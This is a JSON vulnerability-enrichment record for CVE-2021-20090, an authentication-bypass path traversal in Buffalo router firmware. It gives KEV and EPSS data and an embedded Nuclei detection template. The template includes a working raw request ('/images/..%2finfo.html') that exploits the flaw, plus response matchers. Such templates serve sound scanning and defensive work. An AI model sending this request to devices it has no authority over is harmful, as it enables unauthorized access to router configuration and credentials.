{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2021-20090/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2021-20090/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2021-20090/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2021-20090/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2021-20090/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2021-20090/enrichment"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2021-20090"
    },
    "vulnerability": {
      "href": "/api/v1/vulnerability/cve-2021-20090"
    }
  },
  "enrichments": {
    "cisa-kev": {
      "kev": true
    },
    "epss": {
      "epss": 0.99982,
      "kev": true,
      "percentile": 0.99982
    },
    "nuclei": {
      "nuclei": true,
      "nuclei_template": "http/cves/2021/CVE-2021-20090.yaml",
      "nuclei_template_severity": "critical",
      "nuclei_template_yaml": "id: CVE-2021-20090\n\ninfo:\n  name: Buffalo WSR-2533DHPL2 - Path Traversal\n  author: gy741\n  severity: critical\n  description: |\n    Buffalo WSR-2533DHPL2 firmware version <= 1.02 and WSR-2533DHP3 firmware version <= 1.24 are susceptible to a path traversal vulnerability that could allow unauthenticated remote attackers to bypass authentication in their web interfaces.\n  impact: |\n    An attacker can exploit this vulnerability to read sensitive files, such as configuration files, credentials, or other sensitive information.\n  remediation: |\n    Apply the latest firmware update provided by Buffalo to fix the path traversal vulnerability.\n  reference:\n    - https://www.tenable.com/security/research/tra-2021-13\n    - https://medium.com/tenable-techblog/bypassing-authentication-on-arcadyan-routers-with-cve-2021-20090-and-rooting-some-buffalo-ea1dd30980c2\n    - https://nvd.nist.gov/vuln/detail/CVE-2021-20090\n    - https://www.kb.cert.org/vuls/id/914124\n    - https://www.secpod.com/blog/arcadyan-based-routers-and-modems-under-active-exploitation/\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2021-20090\n    cwe-id: CWE-22\n    epss-score: 0.99983\n    epss-percentile: 0.99982\n    cpe: cpe:2.3:o:buffalo:wsr-2533dhpl2-bk_firmware:*:*:*:*:*:*:*:*\n  metadata:\n    max-request: 1\n    vendor: buffalo\n    product: wsr-2533dhpl2-bk_firmware\n  tags: cve,cve2021,lfi,buffalo,firmware,iot,kev,tenable,vkev,vuln\n\nhttp:\n  - raw:\n      - |\n        GET /images/..%2finfo.html HTTP/1.1\n        Host: {{Hostname}}\n        Referer: {{BaseURL}}/info.html\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        words:\n          - 'URLToken(cgi_path)'\n          - 'pppoe'\n          - 'wan'\n        condition: and\n\n      - type: status\n        status:\n          - 200\n# digest: 4a0a0047304502201790af050a9d47afdf2d97a396ec4abdecbbeeaf67219636453d5fd21b467652022100e7b8b0162f90961b7de178aae8c5a70891986bc5d0610ca20dd3b6b335c6a508:922c64590222798bb761d5b6d8e72950"
    }
  },
  "vuln_id": "cve-2021-20090"
}